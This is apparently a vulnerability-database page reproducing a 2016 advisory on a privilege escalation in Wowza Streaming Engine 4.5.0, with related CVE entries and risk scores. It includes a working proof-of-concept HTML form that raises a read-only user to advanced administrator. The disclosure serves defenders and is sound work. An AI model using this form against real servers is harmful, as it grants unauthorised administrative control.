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Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2016-20034 | 15 Mar 202618:34 | – | attackerkb |
 | CVE-2016-20034 | 19 Mar 202616:20 | – | circl |
 | Wowza Media Systems Wowza Streaming Engine 跨站请求伪造漏洞 | 16 Mar 202600:00 | – | cnnvd |
 | CVE-2016-20034 | 15 Mar 202618:34 | – | cve |
 | CVE-2016-20034 Wowza Streaming Engine 4.5.0 Privilege Escalation via user edit | 15 Mar 202618:34 | – | cvelist |
 | EUVD-2016-10823 | 16 Mar 202615:30 | – | euvd |
 | CVE-2016-20034 | 16 Mar 202614:17 | – | nvd |
 | Wowza Streaming Engine Multiple Vulnerabilities | 7 Sep 201600:00 | – | openvas |
 | PT-2026-25732 | 16 Mar 202600:00 | – | ptsecurity |
 | CVE-2016-20034 Wowza Streaming Engine 4.5.0 Privilege Escalation via user edit | 15 Mar 202618:34 | – | vulnrichment |
10
<html><body><p>Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.
Advanced Admin:
Allow access to advanced properties and features
Only for expert Wowza Streaming Engine users.
Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php
03.07.2016
--
Privilege escalation from existing read-only user to admin(advanced):
</p>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input name="version" type="hidden" value="0"/>
<input name="action" type="hidden" value="quickEdit"/>
<input name="userName" type="hidden" value="usermuser"/>
<input name="userPassword" type="hidden" value=""/>
<input name="userPassword2" type="hidden" value=""/>
<input name="accessLevel" type="hidden" value="admin"/>
<input name="advUser" type="hidden" value="true"/>
<input name="_advUser" type="hidden" value="on"/>
<input name="ignoreWarnings" type="hidden" value="false"/>
<input type="submit" value="God mode"/>
</form>
</body></html>Data
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19 Jul 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.18 - 8.8
CVSS 48.7
EPSS0.0004
SSVC